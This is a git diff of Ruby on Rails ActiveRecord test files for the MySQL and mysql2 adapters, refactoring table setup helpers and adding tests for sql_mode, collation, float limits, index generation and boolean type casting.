diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb
index ffd6904aec..ce01b16362 100644
--- a/activerecord/test/cases/adapters/mysql/connection_test.rb
+++ b/activerecord/test/cases/adapters/mysql/connection_test.rb
@@ -1,6 +1,14 @@
require "cases/helper"
+require 'support/connection_helper'
+require 'support/ddl_helper'
class MysqlConnectionTest < ActiveRecord::TestCase
+ include ConnectionHelper
+ include DdlHelper
+
+ class Klass < ActiveRecord::Base
+ end
+
def setup
super
@connection = ActiveRecord::Base.connection
@@ -13,13 +21,15 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
- def test_connect_with_url
- run_without_connection do |orig|
- ar_config = ARTest.connection_config['arunit']
- url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
- klass = Class.new(ActiveRecord::Base)
- klass.establish_connection(url)
- assert_equal ar_config['database'], klass.connection.current_database
+ unless ARTest.connection_config['arunit']['socket']
+ def test_connect_with_url
+ run_without_connection do
+ ar_config = ARTest.connection_config['arunit']
+
+ url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}"
+ Klass.establish_connection(url)
+ assert_equal ar_config['database'], Klass.connection.current_database
+ end
end
end
@@ -35,6 +45,9 @@ class MysqlConnectionTest < ActiveRecord::TestCase
@connection.update('set @@wait_timeout=1')
sleep 2
assert !@connection.active?
+
+ # Repair all fixture connections so other tests won't break.
+ @fixture_connections.each(&:verify!)
end
def test_successful_reconnection_after_timeout_with_manual_reconnect
@@ -54,64 +67,55 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
def test_bind_value_substitute
- bind_param = @connection.substitute_at('foo', 0)
- assert_equal Arel.sql('?'), bind_param
+ bind_param = @connection.substitute_at('foo')
+ assert_equal Arel.sql('?'), bind_param.to_sql
end
def test_exec_no_binds
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `data` varchar(255))
- eosql
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 0, result.rows.length
- assert_equal 2, result.columns.length
- assert_equal %w{ id data }, result.columns
+ with_example_table do
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
- @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- # if there are no bind parameters, it will return a string (due to
- # the libmysql api)
- result = @connection.exec_query('SELECT id, data FROM ex')
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ # if there are no bind parameters, it will return a string (due to
+ # the libmysql api)
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [['1', 'foo']], result.rows
+ assert_equal [['1', 'foo']], result.rows
+ end
end
def test_exec_with_binds
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `data` varchar(255))
- eosql
- @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+ with_example_table do
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_exec_typecasts_bind_vals
- @connection.exec_query('drop table if exists ex')
- @connection.exec_query(<<-eosql)
- CREATE TABLE `ex` (`id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `data` varchar(255))
- eosql
- @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- column = @connection.columns('ex').find { |col| col.name == 'id' }
+ with_example_table do
+ @connection.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
- result = @connection.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
# Test that MySQL allows multiple results for stored procedures
@@ -123,17 +127,21 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
+ def test_mysql_connection_collation_is_configured
+ assert_equal 'utf8_unicode_ci', @connection.show_variable('collation_connection')
+ assert_equal 'utf8_general_ci', ARUnit2Model.connection.show_variable('collation_connection')
+ end
+
def test_mysql_default_in_strict_mode
result = @connection.exec_query "SELECT @@SESSION.sql_mode"
assert_equal [["STRICT_ALL_TABLES"]], result.rows
end
- def test_mysql_strict_mode_disabled_dont_override_global_sql_mode
+ def test_mysql_strict_mode_disabled
run_without_connection do |orig_connection|
ActiveRecord::Base.establish_connection(orig_connection.merge({:strict => false}))
- global_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.sql_mode"
- session_sql_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
- assert_equal global_sql_mode.rows, session_sql_mode.rows
+ result = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.sql_mode"
+ assert_equal [['']], result.rows
end
end
@@ -145,6 +153,14 @@ class MysqlConnectionTest < ActiveRecord::TestCase
end
end
+ def test_mysql_sql_mode_variable_overrides_strict_mode
+ run_without_connection do |orig_connection|
+ ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { 'sql_mode' => 'ansi' }))
+ result = ActiveRecord::Base.connection.exec_query 'SELECT @@SESSION.sql_mode'
+ assert_not_equal [['STRICT_ALL_TABLES']], result.rows
+ end
+ end
+
def test_mysql_set_session_variable_to_default
run_without_connection do |orig_connection|
ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:default_week_format => :default}}))
@@ -156,12 +172,11 @@ class MysqlConnectionTest < ActiveRecord::TestCase
private
- def run_without_connection
- original_connection = ActiveRecord::Base.remove_connection
- begin
- yield original_connection
- ensure
- ActiveRecord::Base.establish_connection(original_connection)
- end
+ def with_example_table(&block)
+ definition ||= <<-SQL
+ `id` int(11) auto_increment PRIMARY KEY,
+ `data` varchar(255)
+ SQL
+ super(@connection, 'ex', definition, &block)
end
end
diff --git a/activerecord/test/cases/adapters/mysql/consistency_test.rb b/activerecord/test/cases/adapters/mysql/consistency_test.rb
new file mode 100644
index 0000000000..e972d6b330
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql/consistency_test.rb
@@ -0,0 +1,49 @@
+require "cases/helper"
+
+class MysqlConsistencyTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class Consistency < ActiveRecord::Base
+ self.table_name = "mysql_consistency"
+ end
+
+ setup do
+ @old_emulate_booleans = ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans
+ ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
+
+ @connection = ActiveRecord::Base.connection
+ @connection.clear_cache!
+ @connection.create_table("mysql_consistency") do |t|
+ t.boolean "a_bool"
+ t.string "a_string"
+ end
+ Consistency.reset_column_information
+ Consistency.create!
+ end
+
+ teardown do
+ ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = @old_emulate_booleans
+ @connection.drop_table "mysql_consistency"
+ end
+
+ test "boolean columns with random value type cast to 0 when emulate_booleans is false" do
+ with_new = Consistency.new
+ with_last = Consistency.last
+ with_new.a_bool = 'wibble'
+ with_last.a_bool = 'wibble'
+
+ assert_equal 0, with_new.a_bool
+ assert_equal 0, with_last.a_bool
+ end
+
+ test "string columns call #to_s" do
+ with_new = Consistency.new
+ with_last = Consistency.last
+ thing = Object.new
+ with_new.a_string = thing
+ with_last.a_string = thing
+
+ assert_equal thing.to_s, with_new.a_string
+ assert_equal thing.to_s, with_last.a_string
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql/enum_test.rb b/activerecord/test/cases/adapters/mysql/enum_test.rb
index 40af317ad1..f4e7a3ef0a 100644
--- a/activerecord/test/cases/adapters/mysql/enum_test.rb
+++ b/activerecord/test/cases/adapters/mysql/enum_test.rb
@@ -5,6 +5,6 @@ class MysqlEnumTest < ActiveRecord::TestCase
end
def test_enum_limit
- assert_equal 5, EnumTest.columns.first.limit
+ assert_equal 6, EnumTest.columns.first.limit
end
end
diff --git a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
index ddfe42b375..28106d3772 100644
--- a/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb
@@ -1,19 +1,34 @@
# encoding: utf-8
require "cases/helper"
+require 'support/ddl_helper'
module ActiveRecord
module ConnectionAdapters
class MysqlAdapterTest < ActiveRecord::TestCase
+ include DdlHelper
+
def setup
@conn = ActiveRecord::Base.connection
- @conn.exec_query('drop table if exists ex')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex` (
- `id` int(11) DEFAULT NULL auto_increment PRIMARY KEY,
- `number` integer,
- `data` varchar(255))
- eosql
+ end
+
+ def test_bad_connection_mysql
+ assert_raise ActiveRecord::NoDatabaseError do
+ configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'inexistent_activerecord_unittest')
+ connection = ActiveRecord::Base.mysql_connection(configuration)
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
+ def test_valid_column
+ with_example_table do
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
+ assert @conn.valid_type?(column.type)
+ end
+ end
+
+ def test_invalid_column
+ assert_not @conn.valid_type?(:foobar)
end
def test_client_encoding
@@ -21,85 +36,112 @@ module ActiveRecord
end
def test_exec_insert_number
- insert(@conn, 'number' => 10)
+ with_example_table do
+ insert(@conn, 'number' => 10)
- result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
+ result = @conn.exec_query('SELECT number FROM ex WHERE number = 10')
- assert_equal 1, result.rows.length
- # if there are no bind parameters, it will return a string (due to
- # the libmysql api)
- assert_equal '10', result.rows.last.last
+ assert_equal 1, result.rows.length
+ # if there are no bind parameters, it will return a string (due to
+ # the libmysql api)
+ assert_equal '10', result.rows.last.last
+ end
end
def test_exec_insert_string
- str = 'ã„ãŸã ãã¾ã™ï¼'
- insert(@conn, 'number' => 10, 'data' => str)
+ with_example_table do
+ str = 'ã„ãŸã ãã¾ã™ï¼'
+ insert(@conn, 'number' => 10, 'data' => str)
- result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
+ result = @conn.exec_query('SELECT number, data FROM ex WHERE number = 10')
- value = result.rows.last.last
+ value = result.rows.last.last
- # FIXME: this should probably be inside the mysql AR adapter?
- value.force_encoding(@conn.client_encoding)
+ # FIXME: this should probably be inside the mysql AR adapter?
+ value.force_encoding(@conn.client_encoding)
- # The strings in this file are utf-8, so transcode to utf-8
- value.encode!(Encoding::UTF_8)
+ # The strings in this file are utf-8, so transcode to utf-8
+ value.encode!(Encoding::UTF_8)
- assert_equal str, value
+ assert_equal str, value
+ end
end
def test_tables_quoting
- begin
- @conn.tables(nil, "foo-bar", nil)
- flunk
- rescue => e
- # assertion for *quoted* database properly
- assert_match(/database 'foo-bar'/, e.inspect)
- end
+ @conn.tables(nil, "foo-bar", nil)
+ flunk
+ rescue => e
+ # assertion for *quoted* database properly
+ assert_match(/database 'foo-bar'/, e.inspect)
end
def test_pk_and_sequence_for
- pk, seq = @conn.pk_and_sequence_for('ex')
- assert_equal 'id', pk
- assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ with_example_table do
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ end
end
def test_pk_and_sequence_for_with_non_standard_primary_key
- @conn.exec_query('drop table if exists ex_with_non_standard_pk')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex_with_non_standard_pk` (
- `code` INT(11) DEFAULT NULL auto_increment,
- PRIMARY KEY (`code`))
- eosql
- pk, seq = @conn.pk_and_sequence_for('ex_with_non_standard_pk')
- assert_equal 'code', pk
- assert_equal @conn.default_sequence_name('ex_with_non_standard_pk', 'code'), seq
+ with_example_table '`code` INT(11) auto_increment, PRIMARY KEY (`code`)' do
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'code', pk
+ assert_equal @conn.default_sequence_name('ex', 'code'), seq
+ end
end
def test_pk_and_sequence_for_with_custom_index_type_pk
- @conn.exec_query('drop table if exists ex_with_custom_index_type_pk')
- @conn.exec_query(<<-eosql)
- CREATE TABLE `ex_with_custom_index_type_pk` (
- `id` INT(11) DEFAULT NULL auto_increment,
- PRIMARY KEY USING BTREE (`id`))
- eosql
- pk, seq = @conn.pk_and_sequence_for('ex_with_custom_index_type_pk')
- assert_equal 'id', pk
- assert_equal @conn.default_sequence_name('ex_with_custom_index_type_pk', 'id'), seq
+ with_example_table '`id` INT(11) auto_increment, PRIMARY KEY USING BTREE (`id`)' do
+ pk, seq = @conn.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @conn.default_sequence_name('ex', 'id'), seq
+ end
+ end
+
+ def test_tinyint_integer_typecasting
+ with_example_table '`status` TINYINT(4)' do
+ insert(@conn, { 'status' => 2 }, 'ex')
+
+ result = @conn.exec_query('SELECT status FROM ex')
+
+ assert_equal 2, result.column_types['status'].type_cast_from_database(result.last['status'])
+ end
+ end
+
+ def test_supports_extensions
+ assert_not @conn.supports_extensions?, 'does not support extensions'
+ end
+
+ def test_respond_to_enable_extension
+ assert @conn.respond_to?(:enable_extension)
+ end
+
+ def test_respond_to_disable_extension
+ assert @conn.respond_to?(:disable_extension)
end
private
- def insert(ctx, data)
+ def insert(ctx, data, table='ex')
binds = data.map { |name, value|
- [ctx.columns('ex').find { |x| x.name == name }, value]
+ [ctx.columns(table).find { |x| x.name == name }, value]
}
columns = binds.map(&:first).map(&:name)
- sql = "INSERT INTO ex (#{columns.join(", ")})
+ sql = "INSERT INTO #{table} (#{columns.join(", ")})
VALUES (#{(['?'] * columns.length).join(', ')})"
ctx.exec_insert(sql, 'SQL', binds)
end
+
+ def with_example_table(definition = nil, &block)
+ definition ||= <<-SQL
+ `id` int(11) auto_increment PRIMARY KEY,
+ `number` integer,
+ `data` varchar(255)
+ SQL
+ super(@conn, 'ex', definition, &block)
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql/quoting_test.rb b/activerecord/test/cases/adapters/mysql/quoting_test.rb
index 3d1330efb8..d8a954efa8 100644
--- a/activerecord/test/cases/adapters/mysql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/mysql/quoting_test.rb
@@ -9,13 +9,13 @@ module ActiveRecord
end
def test_type_cast_true
- c = Column.new(nil, 1, 'boolean')
+ c = Column.new(nil, 1, Type::Boolean.new)
assert_equal 1, @conn.type_cast(true, nil)
assert_equal 1, @conn.type_cast(true, c)
end
def test_type_cast_false
- c = Column.new(nil, 1, 'boolean')
+ c = Column.new(nil, 1, Type::Boolean.new)
assert_equal 0, @conn.type_cast(false, nil)
assert_equal 0, @conn.type_cast(false, c)
end
diff --git a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
index 5164acf77f..403f7cbc74 100644
--- a/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
+++ b/activerecord/test/cases/adapters/mysql/reserved_word_test.rb
@@ -2,7 +2,7 @@ require "cases/helper"
class Group < ActiveRecord::Base
Group.table_name = 'group'
- belongs_to :select, :class_name => 'Select'
+ belongs_to :select
has_one :values
end
@@ -37,7 +37,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
'distinct_select'=>'distinct_id int, select_id int'
end
- def teardown
+ teardown do
drop_tables_directly ['group', 'select', 'values', 'distinct', 'distinct_select', 'order']
end
@@ -63,11 +63,6 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
end
- # dump structure of table with reserved word name
- def test_structure_dump
- assert_nothing_raised { @connection.structure_dump }
- end
-
# introspect table with reserved word name
def test_introspect
assert_nothing_raised { @connection.columns(:group) }
@@ -106,7 +101,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
gs = nil
assert_nothing_raised { gs = Select.find(2).groups }
assert_equal gs.length, 2
- assert(gs.collect{|x| x.id}.sort == [2, 3])
+ assert(gs.collect(&:id).sort == [2, 3])
end
# has_and_belongs_to_many with reserved-word table name
@@ -115,7 +110,7 @@ class MysqlReservedWordTest < ActiveRecord::TestCase
s = nil
assert_nothing_raised { s = Distinct.find(1).selects }
assert_equal s.length, 2
- assert(s.collect{|x|x.id}.sort == [1, 2])
+ assert(s.collect(&:id).sort == [1, 2])
end
# activerecord model introspection with reserved-word table and column names
diff --git a/activerecord/test/cases/adapters/mysql/schema_test.rb b/activerecord/test/cases/adapters/mysql/schema_test.rb
index d94bb629a7..ab547747df 100644
--- a/activerecord/test/cases/adapters/mysql/schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql/schema_test.rb
@@ -17,6 +17,44 @@ module ActiveRecord
self.table_name = "#{db}.#{table}"
def self.name; 'Post'; end
end
+
+ @connection.create_table "mysql_doubles"
+ end
+
+ teardown do
+ @connection.execute "drop table if exists mysql_doubles"
+ end
+
+ class MysqlDouble < ActiveRecord::Base
+ self.table_name = "mysql_doubles"
+ end
+
+ def test_float_limits
+ @connection.add_column :mysql_doubles, :float_no_limit, :float
+ @connection.add_column :mysql_doubles, :float_short, :float, limit: 5
+ @connection.add_column :mysql_doubles, :float_long, :float, limit: 53
+
+ @connection.add_column :mysql_doubles, :float_23, :float, limit: 23
+ @connection.add_column :mysql_doubles, :float_24, :float, limit: 24
+ @connection.add_column :mysql_doubles, :float_25, :float, limit: 25
+ MysqlDouble.reset_column_information
+
+ column_no_limit = MysqlDouble.columns.find { |c| c.name == 'float_no_limit' }
+ column_short = MysqlDouble.columns.find { |c| c.name == 'float_short' }
+ column_long = MysqlDouble.columns.find { |c| c.name == 'float_long' }
+
+ column_23 = MysqlDouble.columns.find { |c| c.name == 'float_23' }
+ column_24 = MysqlDouble.columns.find { |c| c.name == 'float_24' }
+ column_25 = MysqlDouble.columns.find { |c| c.name == 'float_25' }
+
+ # Mysql floats are precision 0..24, Mysql doubles are precision 25..53
+ assert_equal 24, column_no_limit.limit
+ assert_equal 24, column_short.limit
+ assert_equal 53, column_long.limit
+
+ assert_equal 24, column_23.limit
+ assert_equal 24, column_24.limit
+ assert_equal 53, column_25.limit
end
def test_schema
@@ -35,6 +73,28 @@ module ActiveRecord
def test_table_exists_wrong_schema
assert(!@connection.table_exists?("#{@db_name}.zomg"), "table should not exist")
end
+
+ def test_dump_indexes
+ index_a_name = 'index_key_tests_on_snack'
+ index_b_name = 'index_key_tests_on_pizza'
+ index_c_name = 'index_key_tests_on_awesome'
+
+ table = 'key_tests'
+
+ indexes = @connection.indexes(table).sort_by(&:name)
+ assert_equal 3,indexes.size
+
+ index_a = indexes.select{|i| i.name == index_a_name}[0]
+ index_b = indexes.select{|i| i.name == index_b_name}[0]
+ index_c = indexes.select{|i| i.name == index_c_name}[0]
+ assert_equal :btree, index_a.using
+ assert_nil index_a.type
+ assert_equal :btree, index_b.using
+ assert_nil index_b.type
+
+ assert_nil index_c.using
+ assert_equal :fulltext, index_c.type
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
index 83de90f179..209a0cf464 100644
--- a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb
@@ -3,20 +3,20 @@ require 'cases/helper'
module ActiveRecord::ConnectionAdapters
class MysqlAdapter
class StatementPoolTest < ActiveRecord::TestCase
- def test_cache_is_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ if Process.respond_to?(:fork)
+ def test_cache_is_per_pid
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
- cache = StatementPool.new nil, 10
- cache['foo'] = 'bar'
- assert_equal 'bar', cache['foo']
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
- pid = fork {
- lookup = cache['foo'];
- exit!(!lookup)
- }
-
- Process.waitpid pid
- assert $?.success?, 'process should exit successfully'
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
index a83399d0cd..e87cd3886a 100644
--- a/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
+++ b/activerecord/test/cases/adapters/mysql2/active_schema_test.rb
@@ -1,41 +1,62 @@
require "cases/helper"
+require 'support/connection_helper'
class ActiveSchemaTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
def setup
- ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ ActiveRecord::Base.connection.singleton_class.class_eval do
alias_method :execute_without_stub, :execute
- remove_method :execute
def execute(sql, name = nil) return sql end
end
end
- def teardown
- ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
- remove_method :execute
- alias_method :execute, :execute_without_stub
- end
+ teardown do
+ reset_connection
end
def test_add_index
- # add_index calls index_name_exists? which can't work since execute is stubbed
- ActiveRecord::ConnectionAdapters::Mysql2Adapter.send(:define_method, :index_name_exists?) do |*|
- false
- end
- expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`)"
+ # add_index calls table_exists? and index_name_exists? which can't work since execute is stubbed
+ def (ActiveRecord::Base.connection).table_exists?(*); true; end
+ def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
+
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`) "
assert_equal expected, add_index(:people, :last_name, :length => nil)
- expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10))"
+ expected = "CREATE INDEX `index_people_on_last_name` ON `people` (`last_name`(10)) "
assert_equal expected, add_index(:people, :last_name, :length => 10)
- expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15))"
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(15)) "
assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15)
- expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`)"
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`) "
assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15})
- expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10))"
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` ON `people` (`last_name`(15), `first_name`(10)) "
assert_equal expected, add_index(:people, [:last_name, :first_name], :length => {:last_name => 15, :first_name => 10})
- ActiveRecord::ConnectionAdapters::Mysql2Adapter.send(:remove_method, :index_name_exists?)
+
+ %w(SPATIAL FULLTEXT UNIQUE).each do |type|
+ expected = "CREATE #{type} INDEX `index_people_on_last_name` ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :type => type)
+ end
+
+ %w(btree hash).each do |using|
+ expected = "CREATE INDEX `index_people_on_last_name` USING #{using} ON `people` (`last_name`) "
+ assert_equal expected, add_index(:people, :last_name, :using => using)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) "
+ assert_equal expected, add_index(:people, :last_name, :length => 10, :using => :btree)
+
+ expected = "CREATE INDEX `index_people_on_last_name` USING btree ON `people` (`last_name`(10)) ALGORITHM = COPY"
+ assert_equal expected, add_index(:people, :last_name, :length => 10, using: :btree, algorithm: :copy)
+
+ assert_raise ArgumentError do
+ add_index(:people, :last_name, algorithm: :coyp)
+ end
+
+ expected = "CREATE INDEX `index_people_on_last_name_and_first_name` USING btree ON `people` (`last_name`(15), `first_name`(15)) "
+ assert_equal expected, add_index(:people, [:last_name, :first_name], :length => 15, :using => :btree)
end
def test_drop_table
@@ -70,9 +91,8 @@ class ActiveSchemaTest < ActiveRecord::TestCase
def test_add_timestamps
with_real_execute do
begin
- ActiveRecord::Base.connection.create_table :delete_me do |t|
- end
- ActiveRecord::Base.connection.add_timestamps :delete_me
+ ActiveRecord::Base.connection.create_table :delete_me
+ ActiveRecord::Base.connection.add_timestamps :delete_me, null: true
assert column_present?('delete_me', 'updated_at', 'datetime')
assert column_present?('delete_me', 'created_at', 'datetime')
ensure
@@ -85,9 +105,9 @@ class ActiveSchemaTest < ActiveRecord::TestCase
with_real_execute do
begin
ActiveRecord::Base.connection.create_table :delete_me do |t|
- t.timestamps
+ t.timestamps null: true
end
- ActiveRecord::Base.connection.remove_timestamps :delete_me
+ ActiveRecord::Base.connection.remove_timestamps :delete_me, { null: true }
assert !column_present?('delete_me', 'updated_at', 'datetime')
assert !column_present?('delete_me', 'created_at', 'datetime')
ensure
@@ -96,24 +116,34 @@ class ActiveSchemaTest < ActiveRecord::TestCase
end
end
+ def test_indexes_in_create
+ ActiveRecord::Base.connection.stubs(:table_exists?).with(:temp).returns(false)
+ ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
+
+ expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip` (`zip`) ) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
+ actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
+ t.index :zip
+ end
+
+ assert_equal expected, actual
+ end
+
private
def with_real_execute
- #we need to actually modify some data, so we make execute point to the original method
- ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ ActiveRecord::Base.connection.singleton_class.class_eval do
alias_method :execute_with_stub, :execute
remove_method :execute
alias_method :execute, :execute_without_stub
end
+
yield
ensure
- #before finishing, we restore the alias to the mock-up method
- ActiveRecord::ConnectionAdapters::Mysql2Adapter.class_eval do
+ ActiveRecord::Base.connection.singleton_class.class_eval do
remove_method :execute
alias_method :execute, :execute_with_stub
end
end
-
def method_missing(method_symbol, *arguments)
ActiveRecord::Base.connection.send(method_symbol, *arguments)
end
diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
new file mode 100644
index 0000000000..03627135b2
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
@@ -0,0 +1,92 @@
+require "cases/helper"
+
+class Mysql2BooleanTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class BooleanType < ActiveRecord::Base
+ self.table_name = "mysql_booleans"
+ end
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.clear_cache!
+ @connection.create_table("mysql_booleans") do |t|
+ t.boolean "archived"
+ t.string "published", limit: 1
+ end
+ BooleanType.reset_column_information
+
+ @emulate_booleans = ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans
+ end
+
+ teardown do
+ emulate_booleans @emulate_booleans
+ @connection.drop_table "mysql_booleans"
+ end
+
+ test "column type with emulated booleans" do
+ emulate_booleans true
+
+ assert_equal :boolean, boolean_column.type
+ assert_equal :string, string_column.type
+ end
+
+ test "column type without emulated booleans" do
+ emulate_booleans false
+
+ assert_equal :integer, boolean_column.type
+ assert_equal :string, string_column.type
+ end
+
+ test "test type casting with emulated booleans" do
+ emulate_booleans true
+
+ boolean = BooleanType.create!(archived: true, published: true)
+ attributes = boolean.reload.attributes_before_type_cast
+
+ assert_equal 1, attributes["archived"]
+ assert_equal "1", attributes["published"]
+
+ assert_equal 1, @connection.type_cast(true, boolean_column)
+ assert_equal "1", @connection.type_cast(true, string_column)
+ end
+
+ test "test type casting without emulated booleans" do
+ emulate_booleans false
+
+ boolean = BooleanType.create!(archived: true, published: true)
+ attributes = boolean.reload.attributes_before_type_cast
+
+ assert_equal 1, attributes["archived"]
+ assert_equal "1", attributes["published"]
+
+ assert_equal 1, @connection.type_cast(true, boolean_column)
+ assert_equal "1", @connection.type_cast(true, string_column)
+ end
+
+ test "with booleans stored as 1 and 0" do
+ @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
+ boolean = BooleanType.first
+ assert_equal true, boolean.archived
+ assert_equal "1", boolean.published
+ end
+
+ test "with booleans stored as t" do
+ @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
+ boolean = BooleanType.first
+ assert_equal "t", boolean.published
+ end
+
+ def boolean_column
+ BooleanType.columns.find { |c| c.name == 'archived' }
+ end
+
+ def string_column
+ BooleanType.columns.find { |c| c.name == 'published' }
+ end
+
+ def emulate_booleans(value)
+ ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = value
+ BooleanType.reset_column_information
+ end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
